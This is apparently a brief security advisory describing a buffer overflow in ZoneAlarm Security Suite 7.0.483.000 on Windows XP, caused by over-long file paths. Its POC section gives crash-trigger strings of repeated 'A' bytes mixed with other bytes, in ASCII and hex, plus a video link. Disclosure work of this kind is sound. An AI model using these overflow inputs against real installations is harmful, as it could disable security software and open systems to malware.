ZoneAlarm Security Suite buffer overflow
Application: ZoneAlarm Security Suite
OS: Windows Xp (All patches a day)
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1 - Description
2 - Vulnerability
3 - POC/EXPLOIT
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Description
The zonealarm is a known firewall,
which in the version "security suite" brings some tools as an antivirus,
antispam and so on.
Details of the version
ZoneAlarm Security Suite versión:7.0.483.000
Versión de TrueVector:7.0.483.000
Versión del controlador:7.0.483.000
Versión de motor anti-virus:3
Versión de motor antivirus:5.0.1.85
Versión de archivo DAT de firma de anti-virus 915051681
Versión de motor de protección contra programas espía:5.0.189.0
Versión de archivo DAT de firma de protección contra programas espía
01.200801.3195
Versión de AntiSpam 5.0.6.8903
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Vulnerability
The vulnerability is caused because the program can not analyze very long paths.
This causes a buffer overflow with the possibility of execution of code.
The flaw could be exploited by malware to leave without protection to the
system for instance.
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POC/EXPLOIT
Here you can view a video proof of concept
http://www.fileden.com/files/2008/9/11/2091525/zonealarm.swf
Strings
ASCII: · ? AAAAAAAAAAAAAAAAAAA · ? AAAAAAAAAAAAAAAAAAA · ?
AAAAAAAAAAAAAAAAAAA · · ? AAAAAAAAAAAAAAAAAAA · ? AAAAAAAAAAAAAAAAAAA · ?
AAAAAAAAAAAAAAAAAAA · · ? A · ? AAAAAAAAAAAAAAAAAAA · ? AAAAAAAAAAAAAAAAAAA
HEX : b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20
b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7
20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20
b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7
20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 b7 20
b7 20 85 20 20 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 20 b7 20 85 20 20 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41
ASCII:
???????????AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA????AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
HEX: 85 85 85 85 85 85 85 85 85 85 85 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 85 85
85 85 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41 41 41 41
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Juan Pablo Lopez Yacubian